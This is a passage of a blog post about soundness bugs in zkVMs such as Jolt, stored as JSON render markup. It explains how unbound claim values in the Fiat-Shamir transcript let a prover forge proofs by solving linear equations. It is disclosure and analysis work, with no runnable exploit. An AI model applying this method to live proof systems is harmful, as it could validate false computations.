9],[124695],{"type":23,"tag":75,"props":124696,"children":124698},{"className":124697},[15304,32857],[124699,124730],{"type":23,"tag":75,"props":124700,"children":124702},{"className":124701},[15309],[124703,124725],{"type":23,"tag":75,"props":124704,"children":124707},{"className":124705,"style":124706},[15314],"height:0.3281em;",[124708],{"type":23,"tag":75,"props":124709,"children":124711},{"style":124710},"top:-2.357em;margin-right:0.0714em;",[124712,124716],{"type":23,"tag":75,"props":124713,"children":124715},{"className":124714,"style":119242},[15323],[],{"type":23,"tag":75,"props":124717,"children":124719},{"className":124718},[15329,119247,119248,15332],[124720],{"type":23,"tag":75,"props":124721,"children":124723},{"className":124722,"style":124605},[15284,32803,15332],[124724],{"type":29,"value":19913},{"type":23,"tag":75,"props":124726,"children":124728},{"className":124727},[32960],[124729],{"type":29,"value":32963},{"type":23,"tag":75,"props":124731,"children":124733},{"className":124732},[15309],[124734],{"type":23,"tag":75,"props":124735,"children":124738},{"className":124736,"style":124737},[15314],"height:0.2819em;",[124739],{"type":23,"tag":75,"props":124740,"children":124741},{},[],{"type":23,"tag":75,"props":124743,"children":124744},{"style":123955},[124745,124749],{"type":23,"tag":75,"props":124746,"children":124748},{"className":124747,"style":122553},[15323],[],{"type":23,"tag":75,"props":124750,"children":124752},{"className":124751,"style":123965},[123964],[],{"type":23,"tag":75,"props":124754,"children":124755},{"style":123969},[124756,124760],{"type":23,"tag":75,"props":124757,"children":124759},{"className":124758,"style":122553},[15323],[],{"type":23,"tag":75,"props":124761,"children":124763},{"className":124762},[15329,15330,15331,15332],[124764],{"type":23,"tag":75,"props":124765,"children":124767},{"className":124766},[15284,15332],[124768],{"type":23,"tag":75,"props":124769,"children":124771},{"className":124770},[15284,15332],[124772],{"type":29,"value":7867},{"type":23,"tag":75,"props":124774,"children":124776},{"className":124775},[32960],[124777],{"type":29,"value":32963},{"type":23,"tag":75,"props":124779,"children":124781},{"className":124780},[15309],[124782],{"type":23,"tag":75,"props":124783,"children":124786},{"className":124784,"style":124785},[15314],"height:0.5423em;",[124787],{"type":23,"tag":75,"props":124788,"children":124789},{},[],{"type":23,"tag":75,"props":124791,"children":124793},{"className":124792},[32954,123900],[],{"type":23,"tag":75,"props":124795,"children":124797},{"className":124796,"style":15364},[15363],[],{"type":23,"tag":75,"props":124799,"children":124801},{"className":124800},[15369],[124802],{"type":29,"value":15343},{"type":23,"tag":75,"props":124804,"children":124806},{"className":124805,"style":15364},[15363],[],{"type":23,"tag":75,"props":124808,"children":124810},{"className":124809},[15273],[124811,124816,124874,124878],{"type":23,"tag":75,"props":124812,"children":124815},{"className":124813,"style":124814},[15278],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":75,"props":124817,"children":124819},{"className":124818},[32839],[124820,124825],{"type":23,"tag":75,"props":124821,"children":124823},{"className":124822,"style":32846},[32839,32844,32845],[124824],{"type":29,"value":119177},{"type":23,"tag":75,"props":124826,"children":124828},{"className":124827},[15299],[124829],{"type":23,"tag":75,"props":124830,"children":124832},{"className":124831},[15304,32857],[124833,124862],{"type":23,"tag":75,"props":124834,"children":124836},{"className":124835},[15309],[124837,124857],{"type":23,"tag":75,"props":124838,"children":124840},{"className":124839,"style":124054},[15314],[124841],{"type":23,"tag":75,"props":124842,"children":124843},{"style":32870},[124844,124848],{"type":23,"tag":75,"props":124845,"children":124847},{"className":124846,"style":15324},[15323],[],{"type":23,"tag":75,"props":124849,"children":124851},{"className":124850},[15329,15330,15331,15332],[124852],{"type":23,"tag":75,"props":124853,"children":124855},{"className":124854,"style":104811},[15284,32803,15332],[124856],{"type":29,"value":13080},{"type":23,"tag":75,"props":124858,"children":124860},{"className":124859},[32960],[124861],{"type":29,"value":32963},{"type":23,"tag":75,"props":124863,"children":124865},{"className":124864},[15309],[124866],{"type":23,"tag":75,"props":124867,"children":124870},{"className":124868,"style":124869},[15314],"height:0.2997em;",[124871],{"type":23,"tag":75,"props":124872,"children":124873},{},[],{"type":23,"tag":75,"props":124875,"children":124877},{"className":124876,"style":15402},[15363],[],{"type":23,"tag":75,"props":124879,"children":124881},{"className":124880},[15284],[124882,124886,125039],{"type":23,"tag":75,"props":124883,"children":124885},{"className":124884},[32932,123900],[],{"type":23,"tag":75,"props":124887,"children":124889},{"className":124888},[123905],[124890],{"type":23,"tag":75,"props":124891,"children":124893},{"className":124892},[15304,32857],[124894,125027],{"type":23,"tag":75,"props":124895,"children":124897},{"className":124896},[15309],[124898,125022],{"type":23,"tag":75,"props":124899,"children":124901},{"className":124900,"style":123918},[15314],[124902,124991,125002],{"type":23,"tag":75,"props":124903,"children":124904},{"style":123922},[124905,124909],{"type":23,"tag":75,"props":124906,"children":124908},{"className":124907,"style":122553},[15323],[],{"type":23,"tag":75,"props":124910,"children":124912},{"className":124911},[15329,15330,15331,15332],[124913],{"type":23,"tag":75,"props":124914,"children":124916},{"className":124915},[15284,15332],[124917,124922,124927],{"type":23,"tag":75,"props":124918,"children":124920},{"className":124919,"style":123939},[15284,32803,15332],[124921],{"type":29,"value":123942},{"type":23,"tag":75,"props":124923,"children":124925},{"className":124924},[15369,15332],[124926],{"type":29,"value":15343},{"type":23,"tag":75,"props":124928,"children":124930},{"className":124929},[15284,15332],[124931,124941],{"type":23,"tag":75,"props":124932,"children":124934},{"className":124933},[15284,29,15332],[124935],{"type":23,"tag":75,"props":124936,"children":124938},{"className":124937},[15284,15332],[124939],{"type":29,"value":124940},"consume",{"type":23,"tag":75,"props":124942,"children":124944},{"className":124943},[15299],[124945],{"type":23,"tag":75,"props":124946,"children":124948},{"className":124947},[15304,32857],[124949,124979],{"type":23,"tag":75,"props":124950,"children":124952},{"className":124951},[15309],[124953,124974],{"type":23,"tag":75,"props":124954,"children":124956},{"className":124955,"style":122714},[15314],[124957],{"type":23,"tag":75,"props":124958,"children":124960},{"style":124959},"top:-2.3488em;margin-right:0.0714em;",[124961,124965],{"type":23,"tag":75,"props":124962,"children":124964},{"className":124963,"style":119242},[15323],[],{"type":23,"tag":75,"props":124966,"children":124968},{"className":124967},[15329,119247,119248,15332],[124969],{"type":23,"tag":75,"props":124970,"children":124972},{"className":124971,"style":104811},[15284,32803,15332],[124973],{"type":29,"value":13080},{"type":23,"tag":75,"props":124975,"children":124977},{"className":124976},[32960],[124978],{"type":29,"value":32963},{"type":23,"tag":75,"props":124980,"children":124982},{"className":124981},[15309],[124983],{"type":23,"tag":75,"props":124984,"children":124987},{"className":124985,"style":124986},[15314],"height:0.1512em;",[124988],{"type":23,"tag":75,"props":124989,"children":124990},{},[],{"type":23,"tag":75,"props":124992,"children":124993},{"style":123955},[124994,124998],{"type":23,"tag":75,"props":124995,"children":124997},{"className":124996,"style":122553},[15323],[],{"type":23,"tag":75,"props":124999,"children":125001},{"className":125000,"style":123965},[123964],[],{"type":23,"tag":75,"props":125003,"children":125004},{"style":123969},[125005,125009],{"type":23,"tag":75,"props":125006,"children":125008},{"className":125007,"style":122553},[15323],[],{"type":23,"tag":75,"props":125010,"children":125012},{"className":125011},[15329,15330,15331,15332],[125013],{"type":23,"tag":75,"props":125014,"children":125016},{"className":125015},[15284,15332],[125017],{"type":23,"tag":75,"props":125018,"children":125020},{"className":125019},[15284,15332],[125021],{"type":29,"value":7867},{"type":23,"tag":75,"props":125023,"children":125025},{"className":125024},[32960],[125026],{"type":29,"value":32963},{"type":23,"tag":75,"props":125028,"children":125030},{"className":125029},[15309],[125031],{"type":23,"tag":75,"props":125032,"children":125035},{"className":125033,"style":125034},[15314],"height:0.4509em;",[125036],{"type":23,"tag":75,"props":125037,"children":125038},{},[],{"type":23,"tag":75,"props":125040,"children":125042},{"className":125041},[32954,123900],[],{"type":23,"tag":32,"props":125044,"children":125045},{},[125046,125048,125230],{"type":29,"value":125047},"The global check: ",{"type":23,"tag":71,"props":125049,"children":125051},{"className":125050},[15256,15257],[125052],{"type":23,"tag":75,"props":125053,"children":125055},{"className":125054},[15262],[125056],{"type":23,"tag":75,"props":125057,"children":125059},{"className":125058,"ariaHidden":15268},[15267],[125060,125217],{"type":23,"tag":75,"props":125061,"children":125063},{"className":125062},[15273],[125064,125068,125125,125129,125138,125143,125204,125208,125213],{"type":23,"tag":75,"props":125065,"children":125067},{"className":125066,"style":103324},[15278],[],{"type":23,"tag":75,"props":125069,"children":125071},{"className":125070},[32839],[125072,125077],{"type":23,"tag":75,"props":125073,"children":125075},{"className":125074,"style":32846},[32839,32844,32845],[125076],{"type":29,"value":119177},{"type":23,"tag":75,"props":125078,"children":125080},{"className":125079},[15299],[125081],{"type":23,"tag":75,"props":125082,"children":125084},{"className":125083},[15304,32857],[125085,125114],{"type":23,"tag":75,"props":125086,"children":125088},{"className":125087},[15309],[125089,125109],{"type":23,"tag":75,"props":125090,"children":125092},{"className":125091,"style":124589},[15314],[125093],{"type":23,"tag":75,"props":125094,"children":125095},{"style":32870},[125096,125100],{"type":23,"tag":75,"props":125097,"children":125099},{"className":125098,"style":15324},[15323],[],{"type":23,"tag":75,"props":125101,"children":125103},{"className":125102},[15329,15330,15331,15332],[125104],{"type":23,"tag":75,"props":125105,"children":125107},{"className":125106},[15284,32803,15332],[125108],{"type":29,"value":12935},{"type":23,"tag":75,"props":125110,"children":125112},{"className":125111},[32960],[125113],{"type":29,"value":32963},{"type":23,"tag":75,"props":125115,"children":125117},{"className":125116},[15309],[125118],{"type":23,"tag":75,"props":125119,"children":125121},{"className":125120,"style":124869},[15314],[125122],{"type":23,"tag":75,"props":125123,"children":125124},{},[],{"type":23,"tag":75,"props":125126,"children":125128},{"className":125127,"style":15402},[15363],[],{"type":23,"tag":75,"props":125130,"children":125132},{"className":125131},[15284,29],[125133],{"type":23,"tag":75,"props":125134,"children":125136},{"className":125135},[15284],[125137],{"type":29,"value":124475},{"type":23,"tag":75,"props":125139,"children":125141},{"className":125140,"style":103382},[15284],[125142],{"type":29,"value":14370},{"type":23,"tag":75,"props":125144,"children":125146},{"className":125145},[15284],[125147,125156],{"type":23,"tag":75,"props":125148,"children":125150},{"className":125149},[15284,29],[125151],{"type":23,"tag":75,"props":125152,"children":125154},{"className":125153},[15284],[125155],{"type":29,"value":868},{"type":23,"tag":75,"props":125157,"children":125159},{"className":125158},[15299],[125160],{"type":23,"tag":75,"props":125161,"children":125163},{"className":125162},[15304,32857],[125164,125193],{"type":23,"tag":75,"props":125165,"children":125167},{"className":125166},[15309],[125168,125188],{"type":23,"tag":75,"props":125169,"children":125171},{"className":125170,"style":103911},[15314],[125172],{"type":23,"tag":75,"props":125173,"children":125174},{"style":124512},[125175,125179],{"type":23,"tag":75,"props":125176,"children":125178},{"className":125177,"style":15324},[15323],[],{"type":23,"tag":75,"props":125180,"children":125182},{"className":125181},[15329,15330,15331,15332],[125183],{"type":23,"tag":75,"props":125184,"children":125186},{"className":125185},[15284,32803,15332],[125187],{"type":29,"value":12935},{"type":23,"tag":75,"props":125189,"children":125191},{"className":125190},[32960],[125192],{"type":29,"value":32963},{"type":23,"tag":75,"props":125194,"children":125196},{"className":125195},[15309],[125197],{"type":23,"tag":75,"props":125198,"children":125200},{"className":125199,"style":103465},[15314],[125201],{"type":23,"tag":75,"props":125202,"children":125203},{},[],{"type":23,"tag":75,"props":125205,"children":125207},{"className":125206,"style":15461},[15363],[],{"type":23,"tag":75,"props":125209,"children":125211},{"className":125210},[15466],[125212],{"type":29,"value":212},{"type":23,"tag":75,"props":125214,"children":125216},{"className":125215,"style":15461},[15363],[],{"type":23,"tag":75,"props":125218,"children":125220},{"className":125219},[15273],[125221,125225],{"type":23,"tag":75,"props":125222,"children":125224},{"className":125223,"style":104413},[15278],[],{"type":23,"tag":75,"props":125226,"children":125228},{"className":125227},[15284],[125229],{"type":29,"value":648},{"type":29,"value":557},{"type":23,"tag":32,"props":125232,"children":125233},{},[125234,125239,125241,125247],{"type":23,"tag":16596,"props":125235,"children":125236},{},[125237],{"type":29,"value":125238},"Why this is vulnerable:",{"type":29,"value":125240}," The ",{"type":23,"tag":71,"props":125242,"children":125244},{"className":125243},[],[125245],{"type":29,"value":125246},"claimed_sum",{"type":29,"value":125248}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":30016,"props":125250,"children":125251},{},[],{"type":23,"tag":24,"props":125253,"children":125255},{"id":125254},"the-universal-attack-pattern",[125256],{"type":29,"value":125257},"The Universal Attack Pattern",{"type":23,"tag":32,"props":125259,"children":125260},{},[125261],{"type":29,"value":125262},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":32,"props":125264,"children":125265},{},[125266],{"type":23,"tag":15189,"props":125267,"children":125270},{"alt":125268,"src":125269},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":32,"props":125272,"children":125273},{},[125274,125276,125301],{"type":29,"value":125275},"When a value ",{"type":23,"tag":71,"props":125277,"children":125279},{"className":125278},[15256,15257],[125280],{"type":23,"tag":75,"props":125281,"children":125283},{"className":125282},[15262],[125284],{"type":23,"tag":75,"props":125285,"children":125287},{"className":125286,"ariaHidden":15268},[15267],[125288],{"type":23,"tag":75,"props":125289,"children":125291},{"className":125290},[15273],[125292,125296],{"type":23,"tag":75,"props":125293,"children":125295},{"className":125294,"style":32798},[15278],[],{"type":23,"tag":75,"props":125297,"children":125299},{"className":125298,"style":118580},[15284,32803],[125300],{"type":29,"value":118904},{"type":29,"value":125302}," isn't transcript-bound:",{"type":23,"tag":2797,"props":125304,"children":125305},{},[125306,125337,125414,125559],{"type":23,"tag":2801,"props":125307,"children":125308},{},[125309,125311,125336],{"type":29,"value":125310},"Challenges are fixed (independent of ",{"type":23,"tag":71,"props":125312,"children":125314},{"className":125313},[15256,15257],[125315],{"type":23,"tag":75,"props":125316,"children":125318},{"className":125317},[15262],[125319],{"type":23,"tag":75,"props":125320,"children":125322},{"className":125321,"ariaHidden":15268},[15267],[125323],{"type":23,"tag":75,"props":125324,"children":125326},{"className":125325},[15273],[125327,125331],{"type":23,"tag":75,"props":125328,"children":125330},{"className":125329,"style":32798},[15278],[],{"type":23,"tag":75,"props":125332,"children":125334},{"className":125333,"style":118580},[15284,32803],[125335],{"type":29,"value":118904},{"type":29,"value":1347},{"type":23,"tag":2801,"props":125338,"children":125339},{},[125340,125342],{"type":29,"value":125341},"The verification equation has form: ",{"type":23,"tag":71,"props":125343,"children":125345},{"className":125344},[15256,15257],[125346],{"type":23,"tag":75,"props":125347,"children":125349},{"className":125348},[15262],[125350],{"type":23,"tag":75,"props":125351,"children":125353},{"className":125352,"ariaHidden":15268},[15267],[125354,125395],{"type":23,"tag":75,"props":125355,"children":125357},{"className":125356},[15273],[125358,125362,125367,125372,125377,125382,125386,125391],{"type":23,"tag":75,"props":125359,"children":125361},{"className":125360,"style":15384},[15278],[],{"type":23,"tag":75,"props":125363,"children":125365},{"className":125364,"style":105736},[15284,32803],[125366],{"type":29,"value":44278},{"type":23,"tag":75,"props":125368,"children":125370},{"className":125369},[32932],[125371],{"type":29,"value":643},{"type":23,"tag":75,"props":125373,"children":125375},{"className":125374,"style":118580},[15284,32803],[125376],{"type":29,"value":118904},{"type":23,"tag":75,"props":125378,"children":125380},{"className":125379},[32954],[125381],{"type":29,"value":1347},{"type":23,"tag":75,"props":125383,"children":125385},{"className":125384,"style":15461},[15363],[],{"type":23,"tag":75,"props":125387,"children":125389},{"className":125388},[15466],[125390],{"type":29,"value":212},{"type":23,"tag":75,"props":125392,"children":125394},{"className":125393,"style":15461},[15363],[],{"type":23,"tag":75,"props":125396,"children":125398},{"className":125397},[15273],[125399,125404],{"type":23,"tag":75,"props":125400,"children":125403},{"className":125401,"style":125402},[15278],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":125405,"children":125407},{"className":125406},[15284,29],[125408],{"type":23,"tag":75,"props":125409,"children":125411},{"className":125410},[15284],[125412],{"type":29,"value":125413},"target",{"type":23,"tag":2801,"props":125415,"children":125416},{},[125417,125418,125444,125446],{"type":29,"value":18739},{"type":23,"tag":71,"props":125419,"children":125421},{"className":125420},[15256,15257],[125422],{"type":23,"tag":75,"props":125423,"children":125425},{"className":125424},[15262],[125426],{"type":23,"tag":75,"props":125427,"children":125429},{"className":125428,"ariaHidden":15268},[15267],[125430],{"type":23,"tag":75,"props":125431,"children":125433},{"className":125432},[15273],[125434,125439],{"type":23,"tag":75,"props":125435,"children":125438},{"className":125436,"style":125437},[15278],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":125440,"children":125442},{"className":125441,"style":105736},[15284,32803],[125443],{"type":29,"value":44278},{"type":29,"value":125445}," is linear: ",{"type":23,"tag":71,"props":125447,"children":125449},{"className":125448},[15256,15257],[125450],{"type":23,"tag":75,"props":125451,"children":125453},{"className":125452},[15262],[125454],{"type":23,"tag":75,"props":125455,"children":125457},{"className":125456,"ariaHidden":15268},[15267],[125458,125487,125514,125542],{"type":23,"tag":75,"props":125459,"children":125461},{"className":125460},[15273],[125462,125467,125474,125478,125483],{"type":23,"tag":75,"props":125463,"children":125466},{"className":125464,"style":125465},[15278],"height:0.4445em;",[],{"type":23,"tag":75,"props":125468,"children":125471},{"className":125469,"style":125470},[15284,32803],"margin-right:0.0037em;",[125472],{"type":29,"value":125473},"α",{"type":23,"tag":75,"props":125475,"children":125477},{"className":125476,"style":15364},[15363],[],{"type":23,"tag":75,"props":125479,"children":125481},{"className":125480},[15369],[125482],{"type":29,"value":121644},{"type":23,"tag":75,"props":125484,"children":125486},{"className":125485,"style":15364},[15363],[],{"type":23,"tag":75,"props":125488,"children":125490},{"className":125489},[15273],[125491,125496,125501,125505,125510],{"type":23,"tag":75,"props":125492,"children":125495},{"className":125493,"style":125494},[15278],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":125497,"children":125499},{"className":125498,"style":118580},[15284,32803],[125500],{"type":29,"value":118904},{"type":23,"tag":75,"props":125502,"children":125504},{"className":125503,"style":15364},[15363],[],{"type":23,"tag":75,"props":125506,"children":125508},{"className":125507},[15369],[125509],{"type":29,"value":7862},{"type":23,"tag":75,"props":125511,"children":125513},{"className":125512,"style":15364},[15363],[],{"type":23,"tag":75,"props":125515,"children":125517},{"className":125516},[15273],[125518,125522,125529,125533,125538],{"type":23,"tag":75,"props":125519,"children":125521},{"className":125520,"style":125437},[15278],[],{"type":23,"tag":75,"props":125523,"children":125526},{"className":125524,"style":125525},[15284,32803],"margin-right:0.05278em;",[125527],{"type":29,"value":125528},"β",{"type":23,"tag":75,"props":125530,"children":125532},{"className":125531,"style":15461},[15363],[],{"type":23,"tag":75,"props":125534,"children":125536},{"className":125535},[15466],[125537],{"type":29,"value":212},{"type":23,"tag":75,"props":125539,"children":125541},{"className":125540,"style":15461},[15363],[],{"type":23,"tag":75,"props":125543,"children":125545},{"className":125544},[15273],[125546,125550],{"type":23,"tag":75,"props":125547,"children":125549},{"className":125548,"style":125402},[15278],[],{"type":23,"tag":75,"props":125551,"children":125553},{"className":125552},[15284,29],[125554],{"type":23,"tag":75,"props":125555,"children":125557},{"className":125556},[15284],[125558],{"type":29,"value":125413},{"type":23,"tag":2801,"props":125560,"children":125561},{},[125562,125564],{"type":29,"value":125563},"Solve: ",{"type":23,"tag":71,"props":125565,"children":125567},{"className":125566},[15256,15257],[125568],{"type":23,"tag":75,"props":125569,"children":125571},{"className":125570},[15262],[125572],{"type":23,"tag":75,"props":125573,"children":125575},{"className":125574,"ariaHidden":15268},[15267],[125576,125602,125637],{"type":23,"tag":75,"props":125577,"children":125579},{"className":125578},[15273],[125580,125584,125589,125593,125598],{"type":23,"tag":75,"props":125581,"children":125583},{"className":125582,"style":32798},[15278],[],{"type":23,"tag":75,"props":125585,"children":125587},{"className":125586,"style":118580},[15284,32803],[125588],{"type":29,"value":118904},{"type":23,"tag":75,"props":125590,"children":125592},{"className":125591,"style":15461},[15363],[],{"type":23,"tag":75,"props":125594,"children":125596},{"className":125595},[15466],[125597],{"type":29,"value":212},{"type":23,"tag":75,"props":125599,"children":125601},{"className":125600,"style":15461},[15363],[],{"type":23,"tag":75,"props":125603,"children":125605},{"className":125604},[15273],[125606,125610,125615,125624,125628,125633],{"type":23,"tag":75,"props":125607,"children":125609},{"className":125608,"style":15384},[15278],[],{"type":23,"tag":75,"props":125611,"children":125613},{"className":125612},[32932],[125614],{"type":29,"value":643},{"type":23,"tag":75,"props":125616,"children":125618},{"className":125617},[15284,29],[125619],{"type":23,"tag":75,"props":125620,"children":125622},{"className":125621},[15284],[125623],{"type":29,"value":125413},{"type":23,"tag":75,"props":125625,"children":125627},{"className":125626,"style":15364},[15363],[],{"type":23,"tag":75,"props":125629,"children":125631},{"className":125630},[15369],[125632],{"type":29,"value":15343},{"type":23,"tag":75,"props":125634,"children":125636},{"className":125635,"style":15364},[15363],[],{"type":23,"tag":75,"props":125638,"children":125640},{"className":125639},[15273],[125641,125645,125650,125655,125660],{"type":23,"tag":75,"props":125642,"children":125644},{"className":125643,"style":15384},[15278],[],{"type":23,"tag":75,"props":125646,"children":125648},{"className":125647,"style":125525},[15284,32803],[125649],{"type":29,"value":125528},{"type":23,"tag":75,"props":125651,"children":125653},{"className":125652},[32954],[125654],{"type":29,"value":1347},{"type":23,"tag":75,"props":125656,"children":125658},{"className":125657},[15284],[125659],{"type":29,"value":5647},{"type":23,"tag":75,"props":125661,"children":125663},{"className":125662,"style":125470},[15284,32803],[125664],{"type":29,"value":125473},{"type":23,"tag":32,"props":125666,"children":125667},{},[125668],{"type":29,"value":125669},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":32,"props":125671,"children":125672},{},[125673,125675,125753],{"type":29,"value":125674},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":71,"props":125676,"children":125678},{"className":125677},[15256,15257],[125679],{"type":23,"tag":75,"props":125680,"children":125682},{"className":125681},[15262],[125683],{"type":23,"tag":75,"props":125684,"children":125686},{"className":125685,"ariaHidden":15268},[15267],[125687],{"type":23,"tag":75,"props":125688,"children":125690},{"className":125689},[15273],[125691,125696,125702,125707,125748],{"type":23,"tag":75,"props":125692,"children":125695},{"className":125693,"style":125694},[15278],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":75,"props":125697,"children":125699},{"className":125698,"style":103382},[15284,32803],[125700],{"type":29,"value":125701},"O",{"type":23,"tag":75,"props":125703,"children":125705},{"className":125704},[32932],[125706],{"type":29,"value":643},{"type":23,"tag":75,"props":125708,"children":125710},{"className":125709},[15284],[125711,125716],{"type":23,"tag":75,"props":125712,"children":125714},{"className":125713},[15284,32803],[125715],{"type":29,"value":67587},{"type":23,"tag":75,"props":125717,"children":125719},{"className":125718},[15299],[125720],{"type":23,"tag":75,"props":125721,"children":125723},{"className":125722},[15304],[125724],{"type":23,"tag":75,"props":125725,"children":125727},{"className":125726},[15309],[125728],{"type":23,"tag":75,"props":125729,"children":125731},{"className":125730,"style":15279},[15314],[125732],{"type":23,"tag":75,"props":125733,"children":125734},{"style":15318},[125735,125739],{"type":23,"tag":75,"props":125736,"children":125738},{"className":125737,"style":15324},[15323],[],{"type":23,"tag":75,"props":125740,"children":125742},{"className":125741},[15329,15330,15331,15332],[125743],{"type":23,"tag":75,"props":125744,"children":125746},{"className":125745},[15284,15332],[125747],{"type":29,"value":28518},{"type":23,"tag":75,"props":125749,"children":125751},{"className":125750},[32954],[125752],{"type":29,"value":1347},{"type":29,"value":125754}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":30016,"props":125756,"children":125757},{},[],{"type":23,"tag":24,"props":125759,"children":125761},{"id":125760},"the-six-broken-systems",[125762],{"type":29,"value":125763},"The Six Broken Systems",{"type":23,"tag":32,"props":125765,"children":125766},{},[125767],{"type":23,"tag":15189,"props":125768,"children":125771},{"alt":125769,"src":125770},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":32,"props":125773,"children":125774},{},[125775],{"type":29,"value":125776},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":30016,"props":125778,"children":125779},{},[],{"type":23,"tag":923,"props":125781,"children":125783},{"id":125782},"jolt-a16z",[125784],{"type":29,"value":125785},"Jolt (a16z)",{"type":23,"tag":32,"props":125787,"children":125788},{},[125789],{"type":29,"value":125790},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":32,"props":125792,"children":125793},{},[125794],{"type":23,"tag":16596,"props":125795,"children":125796},{},[125797],{"type":29,"value":125798},"The proof structure:",{"type":23,"tag":64,"props":125800,"children":125802},{"code":125801},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[125803],{"type":23,"tag":71,"props":125804,"children":125805},{"__ignoreMap":7},[125806],{"type":29,"value":125801},{"type":23,"tag":32,"props":125808,"children":125809},{},[125810],{"type":23,"tag":16596,"props":125811,"children":125812},{},[125813],{"type":29,"value":125814},"The verification flow:",{"type":23,"tag":32,"props":125816,"children":125817},{},[125818],{"type":23,"tag":15189,"props":125819,"children":125822},{"alt":125820,"src":125821},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":32,"props":125824,"children":125825},{},[125826,125831,125833,125839,125841,125847,125849,125854],{"type":23,"tag":16596,"props":125827,"children":125828},{},[125829],{"type":29,"value":125830},"The bug:",{"type":29,"value":125832}," Each sumcheck instance provides an ",{"type":23,"tag":71,"props":125834,"children":125836},{"className":125835},[],[125837],{"type":29,"value":125838},"input_claim",{"type":29,"value":125840},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":71,"props":125842,"children":125844},{"className":125843},[],[125845],{"type":29,"value":125846},"opening_claims",{"type":29,"value":125848}," in the proof, but they were ",{"type":23,"tag":16596,"props":125850,"children":125851},{},[125852],{"type":29,"value":125853},"never absorbed into the transcript",{"type":29,"value":125855}," before the batching coefficients were derived.",{"type":23,"tag":32,"props":125857,"children":125858},{},[125859],{"type":23,"tag":15189,"props":125860,"children":125863},{"alt":125861,"src":125862},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":32,"props":125865,"children":125866},{},[125867],{"type":23,"tag":16596,"props":125868,"children":125869},{},[125870],{"type":29,"value":125871},"How sumcheck uses opening_claims:",{"type":23,"tag":32,"props":125873,"children":125874},{},[125875,125877,125883,125885,125962],{"type":29,"value":125876},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":71,"props":125878,"children":125880},{"className":125879},[],[125881],{"type":29,"value":125882},"BatchedClaim",{"type":29,"value":125884}," by taking a random linear combination of the individual claims ",{"type":23,"tag":71,"props":125886,"children":125888},{"className":125887},[15256,15257],[125889],{"type":23,"tag":75,"props":125890,"children":125892},{"className":125891},[15262],[125893],{"type":23,"tag":75,"props":125894,"children":125896},{"className":125895,"ariaHidden":15268},[15267],[125897],{"type":23,"tag":75,"props":125898,"children":125900},{"className":125899},[15273],[125901,125905],{"type":23,"tag":75,"props":125902,"children":125904},{"className":125903,"style":121379},[15278],[],{"type":23,"tag":75,"props":125906,"children":125908},{"className":125907},[15284],[125909,125914],{"type":23,"tag":75,"props":125910,"children":125912},{"className":125911,"style":103616},[15284,32803],[125913],{"type":29,"value":103619},{"type":23,"tag":75,"props":125915,"children":125917},{"className":125916},[15299],[125918],{"type":23,"tag":75,"props":125919,"children":125921},{"className":125920},[15304,32857],[125922,125951],{"type":23,"tag":75,"props":125923,"children":125925},{"className":125924},[15309],[125926,125946],{"type":23,"tag":75,"props":125927,"children":125929},{"className":125928,"style":103911},[15314],[125930],{"type":23,"tag":75,"props":125931,"children":125932},{"style":120811},[125933,125937],{"type":23,"tag":75,"props":125934,"children":125936},{"className":125935,"style":15324},[15323],[],{"type":23,"tag":75,"props":125938,"children":125940},{"className":125939},[15329,15330,15331,15332],[125941],{"type":23,"tag":75,"props":125942,"children":125944},{"className":125943},[15284,32803,15332],[125945],{"type":29,"value":12935},{"type":23,"tag":75,"props":125947,"children":125949},{"className":125948},[32960],[125950],{"type":29,"value":32963},{"type":23,"tag":75,"props":125952,"children":125954},{"className":125953},[15309],[125955],{"type":23,"tag":75,"props":125956,"children":125958},{"className":125957,"style":103465},[15314],[125959],{"type":23,"tag":75,"props":125960,"children":125961},{},[],{"type":29,"value":1018},{"type":23,"tag":32,"props":125964,"children":125965},{},[125966],{"type":23,"tag":71,"props":125967,"children":125969},{"className":125968},[15256,15257],[125970],{"type":23,"tag":75,"props":125971,"children":125973},{"className":125972},[15262],[125974],{"type":23,"tag":75,"props":125975,"children":125977},{"className":125976,"ariaHidden":15268},[15267],[125978,126008,126149],{"type":23,"tag":75,"props":125979,"children":125981},{"className":125980},[15273],[125982,125986,125995,125999,126004],{"type":23,"tag":75,"props":125983,"children":125985},{"className":125984,"style":103297},[15278],[],{"type":23,"tag":75,"props":125987,"children":125989},{"className":125988},[15284,29],[125990],{"type":23,"tag":75,"props":125991,"children":125993},{"className":125992},[15284],[125994],{"type":29,"value":125882},{"type":23,"tag":75,"props":125996,"children":125998},{"className":125997,"style":15461},[15363],[],{"type":23,"tag":75,"props":126000,"children":126002},{"className":126001},[15466],[126003],{"type":29,"value":212},{"type":23,"tag":75,"props":126005,"children":126007},{"className":126006,"style":15461},[15363],[],{"type":23,"tag":75,"props":126009,"children":126011},{"className":126010},[1